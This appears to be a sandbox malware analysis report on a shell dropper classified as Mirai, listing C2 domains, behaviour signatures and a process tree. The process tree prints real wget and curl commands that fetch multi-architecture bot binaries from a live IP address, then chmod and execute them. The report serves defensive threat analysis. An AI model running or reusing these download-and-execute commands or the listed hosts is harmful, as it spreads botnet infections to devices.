Overview

overview

10

Static

static

1

76d32be0.sh

ubuntu-18.04-amd64

10

76d32be0.sh

debian-9-armhf

10

76d32be0.sh

debian-9-mips

10

76d32be0.sh

debian-9-mipsel

10

Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20251218-en
  • resource tags

    arch:armhfimage:debian9-armhf-20251218-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    19/12/2025, 12:08

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    76d32be0.sh
  • Size 4KB
  • Sample251219-pbdresbr9x
  • SHA256 283faaa9fc8bd92419688c20a71b23685381e3fcd6b4b4ae72fc773cf5bfb4c4
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10
antivmbotnetunstabledefense_evasiondiscoverymirai

Malware Config

Extracted

Family

  • mirai

Botnet

  • UNSTABLE

C2

  • cnc.504.su

  • scan.504.su

Extracted

Family

  • mirai

Botnet

  • UNSTABLE

C2

  • cnc.504.su

  • scan.504.su

Extracted

Family

  • mirai

Botnet

  • UNSTABLE

C2

  • cnc.504.su

  • scan.504.su

Signatures

  • Mirai

    Mirai is a prevalent Linux malware infecting exposed network devices.

    botnetmirai
  • Mirai family
    mirai
  • Contacts a large (128378) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • File and Directory Permissions Modification 1 TTPs 13 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 13 IoCs
  • Modifies Watchdog functionality 1 TTPs 20 IoCs

    Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

    defense_evasion
  • Enumerates active TCP sockets 1 TTPs 9 IoCs

    Gets active TCP sockets from /proc virtual filesystem.

    discovery
  • Writes file to system bin folder 20 IoCs
  • Changes its process name 10 IoCs
  • Checks CPU configuration 1 TTPs 13 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

    antivm
  • Reads system network configuration 1 TTPs 9 IoCs

    Uses contents of /proc filesystem to enumerate network settings.

    discovery
  • Reads runtime system information 61 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • System Network Configuration Discovery 1 TTPs 3 IoCs

    Adversaries may gather information about the network configuration of a system.

    discovery
  • Writes file to tmp directory 27 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/76d32be0.sh
    /tmp/76d32be0.sh
    1⤵
    • Executes dropped EXE
    • Writes file to tmp directory
    PID:643
    • /usr/bin/wget
      wget http://158.94.210.88/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.x86
      2⤵
      • Writes file to tmp directory
      PID:650
    • /usr/bin/curl
      curl -O http://158.94.210.88/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.x86
      2⤵
      • Checks CPU configuration
      • Reads runtime system information
      • Writes file to tmp directory
      PID:671
    • /bin/cat
      cat db0fa4b8db0333367e9bda3ab68b8042.x86
      2⤵
        PID:702
      • /bin/chmod
        chmod +x 76d32be0 76d32be0.sh db0fa4b8db0333367e9bda3ab68b8042.x86 systemd-private-c00319796b704f6180656f6d2a481845-systemd-timedated.service-aGZ1CV
        2⤵
        • File and Directory Permissions Modification
        PID:703
      • /tmp/76d32be0
        ./76d32be0 payload
        2⤵
          PID:704
        • /usr/bin/wget
          wget http://158.94.210.88/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:706
        • /usr/bin/curl
          curl -O http://158.94.210.88/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips
          2⤵
          • Checks CPU configuration
          • Reads runtime system information
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:707
        • /bin/cat
          cat db0fa4b8db0333367e9bda3ab68b8042.mips
          2⤵
          • System Network Configuration Discovery
          PID:708
        • /bin/chmod
          chmod +x 76d32be0 76d32be0.sh db0fa4b8db0333367e9bda3ab68b8042.mips db0fa4b8db0333367e9bda3ab68b8042.x86 systemd-private-c00319796b704f6180656f6d2a481845-systemd-timedated.service-aGZ1CV
          2⤵
          • File and Directory Permissions Modification
          PID:709
        • /tmp/76d32be0
          ./76d32be0 payload
          2⤵
            PID:710
          • /usr/bin/wget
            wget http://158.94.210.88/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mpsl
            2⤵
            • Writes file to tmp directory
            PID:712
          • /usr/bin/curl
            curl -O http://158.94.210.88/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mpsl
            2⤵
            • Checks CPU configuration
            • Reads runtime system information
            • Writes file to tmp directory
            PID:713
          • /bin/cat
            cat db0fa4b8db0333367e9bda3ab68b8042.mpsl
            2⤵
              PID:714
            • /bin/chmod
              chmod +x 76d32be0 76d32be0.sh db0fa4b8db0333367e9bda3ab68b8042.mips db0fa4b8db0333367e9bda3ab68b8042.mpsl db0fa4b8db0333367e9bda3ab68b8042.x86 systemd-private-c00319796b704f6180656f6d2a481845-systemd-timedated.service-aGZ1CV
              2⤵
              • File and Directory Permissions Modification
              PID:715
            • /tmp/76d32be0
              ./76d32be0 payload
              2⤵
                PID:716
              • /usr/bin/wget
                wget http://158.94.210.88/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.arm
                2⤵
                • Writes file to tmp directory
                PID:718
              • /usr/bin/curl
                curl -O http://158.94.210.88/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.arm
                2⤵
                • Checks CPU configuration
                • Reads runtime system information
                • Writes file to tmp directory
                PID:720
              • /bin/cat
                cat db0fa4b8db0333367e9bda3ab68b8042.arm
                2⤵
                  PID:722
                • /bin/chmod
                  chmod +x 76d32be0 76d32be0.sh db0fa4b8db0333367e9bda3ab68b8042.arm db0fa4b8db0333367e9bda3ab68b8042.mips db0fa4b8db0333367e9bda3ab68b8042.mpsl db0fa4b8db0333367e9bda3ab68b8042.x86 systemd-private-c00319796b704f6180656f6d2a481845-systemd-timedated.service-aGZ1CV
                  2⤵
                  • File and Directory Permissions Modification
                  PID:723
                • /tmp/76d32be0
                  ./76d32be0 payload
                  2⤵
                  • Modifies Watchdog functionality
                  • Writes file to system bin folder
                  • Changes its process name
                  PID:724
                • /usr/bin/wget
                  wget http://158.94.210.88/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.arm5
                  2⤵
                  • Writes file to tmp directory
                  PID:726
                • /usr/bin/curl
                  curl -O http://158.94.210.88/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.arm5
                  2⤵
                  • Checks CPU configuration
                  • Reads runtime system information
                  • Writes file to tmp directory
                  PID:733
                • /bin/chmod
                  chmod +x 76d32be0 76d32be0.sh db0fa4b8db0333367e9bda3ab68b8042.arm db0fa4b8db0333367e9bda3ab68b8042.arm5 db0fa4b8db0333367e9bda3ab68b8042.mips db0fa4b8db0333367e9bda3ab68b8042.mpsl db0fa4b8db0333367e9bda3ab68b8042.x86 systemd-private-c00319796b704f6180656f6d2a481845-systemd-timedated.service-aGZ1CV
                  2⤵
                  • File and Directory Permissions Modification
                  PID:735
                • /tmp/76d32be0
                  ./76d32be0 payload
                  2⤵
                  • Modifies Watchdog functionality
                  • Enumerates active TCP sockets
                  • Writes file to system bin folder
                  • Changes its process name
                  • Reads system network configuration
                  PID:736
                • /usr/bin/wget
                  wget http://158.94.210.88/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.arm6
                  2⤵
                  • Writes file to tmp directory
                  PID:738
                • /usr/bin/curl
                  curl -O http://158.94.210.88/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.arm6
                  2⤵
                  • Checks CPU configuration
                  • Reads runtime system information
                  • Writes file to tmp directory
                  PID:745
                • /bin/chmod
                  chmod +x 76d32be0 76d32be0.sh db0fa4b8db0333367e9bda3ab68b8042.arm db0fa4b8db0333367e9bda3ab68b8042.arm5 db0fa4b8db0333367e9bda3ab68b8042.arm6 db0fa4b8db0333367e9bda3ab68b8042.mips db0fa4b8db0333367e9bda3ab68b8042.mpsl db0fa4b8db0333367e9bda3ab68b8042.x86 systemd-private-c00319796b704f6180656f6d2a481845-systemd-timedated.service-aGZ1CV
                  2⤵
                  • File and Directory Permissions Modification
                  PID:749
                • /tmp/76d32be0
                  ./76d32be0 payload
                  2⤵
                  • Modifies Watchdog functionality
                  • Enumerates active TCP sockets
                  • Writes file to system bin folder
                  • Changes its process name
                  • Reads system network configuration
                  PID:750
                • /usr/bin/wget
                  wget http://158.94.210.88/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.arm7
                  2⤵
                  • Writes file to tmp directory
                  PID:752
                • /usr/bin/curl
                  curl -O http://158.94.210.88/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.arm7
                  2⤵
                  • Checks CPU configuration
                  • Reads runtime system information
                  • Writes file to tmp directory
                  PID:759
                • /bin/chmod
                  chmod +x 76d32be0 76d32be0.sh db0fa4b8db0333367e9bda3ab68b8042.arm db0fa4b8db0333367e9bda3ab68b8042.arm5 db0fa4b8db0333367e9bda3ab68b8042.arm6 db0fa4b8db0333367e9bda3ab68b8042.arm7 db0fa4b8db0333367e9bda3ab68b8042.mips db0fa4b8db0333367e9bda3ab68b8042.mpsl db0fa4b8db0333367e9bda3ab68b8042.x86 systemd-private-c00319796b704f6180656f6d2a481845-systemd-timedated.service-aGZ1CV
                  2⤵
                  • File and Directory Permissions Modification
                  PID:761
                • /tmp/76d32be0
                  ./76d32be0 payload
                  2⤵
                  • Modifies Watchdog functionality
                  • Enumerates active TCP sockets
                  • Writes file to system bin folder
                  • Changes its process name
                  • Reads system network configuration
                  PID:762
                • /usr/bin/wget
                  wget http://158.94.210.88/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.ppc
                  2⤵
                  • Writes file to tmp directory
                  PID:769
                • /usr/bin/curl
                  curl -O http://158.94.210.88/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.ppc
                  2⤵
                  • Checks CPU configuration
                  • Reads runtime system information
                  • Writes file to tmp directory
                  PID:776
                • /bin/chmod
                  chmod +x 76d32be0 76d32be0.sh db0fa4b8db0333367e9bda3ab68b8042.arm db0fa4b8db0333367e9bda3ab68b8042.arm5 db0fa4b8db0333367e9bda3ab68b8042.arm6 db0fa4b8db0333367e9bda3ab68b8042.arm7 db0fa4b8db0333367e9bda3ab68b8042.mips db0fa4b8db0333367e9bda3ab68b8042.mpsl db0fa4b8db0333367e9bda3ab68b8042.ppc db0fa4b8db0333367e9bda3ab68b8042.x86
                  2⤵
                  • File and Directory Permissions Modification
                  PID:778
                • /tmp/76d32be0
                  ./76d32be0 payload
                  2⤵
                  • Modifies Watchdog functionality
                  • Enumerates active TCP sockets
                  • Writes file to system bin folder
                  • Changes its process name
                  • Reads system network configuration
                  • Reads runtime system information
                  PID:779
                • /usr/bin/wget
                  wget http://158.94.210.88/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.m68k
                  2⤵
                  • Writes file to tmp directory
                  PID:783
                • /usr/bin/curl
                  curl -O http://158.94.210.88/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.m68k
                  2⤵
                  • Checks CPU configuration
                  • Reads runtime system information
                  • Writes file to tmp directory
                  PID:790
                • /bin/chmod
                  chmod +x 76d32be0 76d32be0.sh db0fa4b8db0333367e9bda3ab68b8042.arm db0fa4b8db0333367e9bda3ab68b8042.arm5 db0fa4b8db0333367e9bda3ab68b8042.arm6 db0fa4b8db0333367e9bda3ab68b8042.arm7 db0fa4b8db0333367e9bda3ab68b8042.m68k db0fa4b8db0333367e9bda3ab68b8042.mips db0fa4b8db0333367e9bda3ab68b8042.mpsl db0fa4b8db0333367e9bda3ab68b8042.ppc db0fa4b8db0333367e9bda3ab68b8042.x86
                  2⤵
                  • File and Directory Permissions Modification
                  PID:800
                • /tmp/76d32be0
                  ./76d32be0 payload
                  2⤵
                  • Modifies Watchdog functionality
                  • Enumerates active TCP sockets
                  • Writes file to system bin folder
                  • Changes its process name
                  • Reads system network configuration
                  PID:801
                • /usr/bin/wget
                  wget http://158.94.210.88/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.spc
                  2⤵
                  • Writes file to tmp directory
                  PID:805
                • /usr/bin/curl
                  curl -O http://158.94.210.88/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.spc
                  2⤵
                  • Checks CPU configuration
                  • Reads runtime system information
                  • Writes file to tmp directory
                  PID:812
                • /bin/chmod
                  chmod +x 76d32be0 76d32be0.sh db0fa4b8db0333367e9bda3ab68b8042.arm db0fa4b8db0333367e9bda3ab68b8042.arm5 db0fa4b8db0333367e9bda3ab68b8042.arm6 db0fa4b8db0333367e9bda3ab68b8042.arm7 db0fa4b8db0333367e9bda3ab68b8042.m68k db0fa4b8db0333367e9bda3ab68b8042.mips db0fa4b8db0333367e9bda3ab68b8042.mpsl db0fa4b8db0333367e9bda3ab68b8042.ppc db0fa4b8db0333367e9bda3ab68b8042.spc db0fa4b8db0333367e9bda3ab68b8042.x86
                  2⤵
                  • File and Directory Permissions Modification
                  PID:816
                • /tmp/76d32be0
                  ./76d32be0 payload
                  2⤵
                  • Modifies Watchdog functionality
                  • Enumerates active TCP sockets
                  • Writes file to system bin folder
                  • Changes its process name
                  • Reads system network configuration
                  PID:817
                • /usr/bin/wget
                  wget http://158.94.210.88/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.i686
                  2⤵
                  • Writes file to tmp directory
                  PID:820
                • /usr/bin/curl
                  curl -O http://158.94.210.88/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.i686
                  2⤵
                  • Checks CPU configuration
                  • Reads runtime system information
                  • Writes file to tmp directory
                  PID:828
                • /bin/chmod
                  chmod +x 76d32be0 76d32be0.sh db0fa4b8db0333367e9bda3ab68b8042.arm db0fa4b8db0333367e9bda3ab68b8042.arm5 db0fa4b8db0333367e9bda3ab68b8042.arm6 db0fa4b8db0333367e9bda3ab68b8042.arm7 db0fa4b8db0333367e9bda3ab68b8042.i686 db0fa4b8db0333367e9bda3ab68b8042.m68k db0fa4b8db0333367e9bda3ab68b8042.mips db0fa4b8db0333367e9bda3ab68b8042.mpsl db0fa4b8db0333367e9bda3ab68b8042.ppc db0fa4b8db0333367e9bda3ab68b8042.spc db0fa4b8db0333367e9bda3ab68b8042.x86
                  2⤵
                  • File and Directory Permissions Modification
                  PID:830
                • /tmp/76d32be0
                  ./76d32be0 payload
                  2⤵
                  • Modifies Watchdog functionality
                  • Enumerates active TCP sockets
                  • Writes file to system bin folder
                  • Changes its process name
                  • Reads system network configuration
                  PID:831
                • /usr/bin/wget
                  wget http://158.94.210.88/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.sh4
                  2⤵
                  • Writes file to tmp directory
                  PID:833
                • /usr/bin/curl
                  curl -O http://158.94.210.88/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.sh4
                  2⤵
                  • Checks CPU configuration
                  • Reads runtime system information
                  • Writes file to tmp directory
                  PID:840
                • /bin/chmod
                  chmod +x 76d32be0 76d32be0.sh db0fa4b8db0333367e9bda3ab68b8042.arm db0fa4b8db0333367e9bda3ab68b8042.arm5 db0fa4b8db0333367e9bda3ab68b8042.arm6 db0fa4b8db0333367e9bda3ab68b8042.arm7 db0fa4b8db0333367e9bda3ab68b8042.i686 db0fa4b8db0333367e9bda3ab68b8042.m68k db0fa4b8db0333367e9bda3ab68b8042.mips db0fa4b8db0333367e9bda3ab68b8042.mpsl db0fa4b8db0333367e9bda3ab68b8042.ppc db0fa4b8db0333367e9bda3ab68b8042.sh4 db0fa4b8db0333367e9bda3ab68b8042.spc db0fa4b8db0333367e9bda3ab68b8042.x86
                  2⤵
                  • File and Directory Permissions Modification
                  PID:842
                • /tmp/76d32be0
                  ./76d32be0 payload
                  2⤵
                  • Modifies Watchdog functionality
                  • Enumerates active TCP sockets
                  • Writes file to system bin folder
                  • Changes its process name
                  • Reads system network configuration
                  PID:843
                • /usr/bin/wget
                  wget http://158.94.210.88/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.arc
                  2⤵
                  • Writes file to tmp directory
                  PID:847
                • /usr/bin/curl
                  curl -O http://158.94.210.88/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.arc
                  2⤵
                  • Checks CPU configuration
                  • Reads runtime system information
                  • Writes file to tmp directory
                  PID:854
                • /bin/chmod
                  chmod +x 76d32be0 76d32be0.sh db0fa4b8db0333367e9bda3ab68b8042.arc db0fa4b8db0333367e9bda3ab68b8042.arm db0fa4b8db0333367e9bda3ab68b8042.arm5 db0fa4b8db0333367e9bda3ab68b8042.arm6 db0fa4b8db0333367e9bda3ab68b8042.arm7 db0fa4b8db0333367e9bda3ab68b8042.i686 db0fa4b8db0333367e9bda3ab68b8042.m68k db0fa4b8db0333367e9bda3ab68b8042.mips db0fa4b8db0333367e9bda3ab68b8042.mpsl db0fa4b8db0333367e9bda3ab68b8042.ppc db0fa4b8db0333367e9bda3ab68b8042.sh4 db0fa4b8db0333367e9bda3ab68b8042.spc db0fa4b8db0333367e9bda3ab68b8042.x86
                  2⤵
                  • File and Directory Permissions Modification
                  PID:856
                • /tmp/76d32be0
                  ./76d32be0 payload
                  2⤵
                  • Modifies Watchdog functionality
                  • Enumerates active TCP sockets
                  • Writes file to system bin folder
                  • Changes its process name
                  • Reads system network configuration
                  • Reads runtime system information
                  PID:857

              Network

                    MITRE ATT&CK Enterprise v16

                    Replay Monitor

                    Loading Replay Monitor...

                    Downloads

                    76d32be0
                    • Path /tmp/76d32be0
                    • Size 106KB
                    • SHA256 f0b853a8aae2cf57e3ac6a268248f4cbe82db8747641dbe4e3f2a82e78d11a81
                    • MD5 SHA1 SHA512 SSDEEP
                    Submit Download

                    76d32be0
                    • Path /tmp/76d32be0
                    • Size 110KB
                    • SHA256 686627024697b54ebea8eeb4d890b735d33c921f08de1ffad091db022f04a966
                    • MD5 SHA1 SHA512 SSDEEP
                    Submit Download

                    76d32be0
                    • Path /tmp/76d32be0
                    • Size 85KB
                    • SHA256 50a08d6bda1eedb1ba52cb6f3713abb3c2477488c229513a84c96d1b432ea822
                    • MD5 SHA1 SHA512 SSDEEP
                    Submit Download

                    db0fa4b8db0333367e9bda3ab68b8042.x86
                    • Path /tmp/db0fa4b8db0333367e9bda3ab68b8042.x86
                    • Size 74KB
                    • SHA256 0134ba0d82da47549afbf4ff619fe518bf4863eff0f49c939457cbf81c2d15b8
                    • MD5 SHA1 SHA512 SSDEEP
                    Submit Download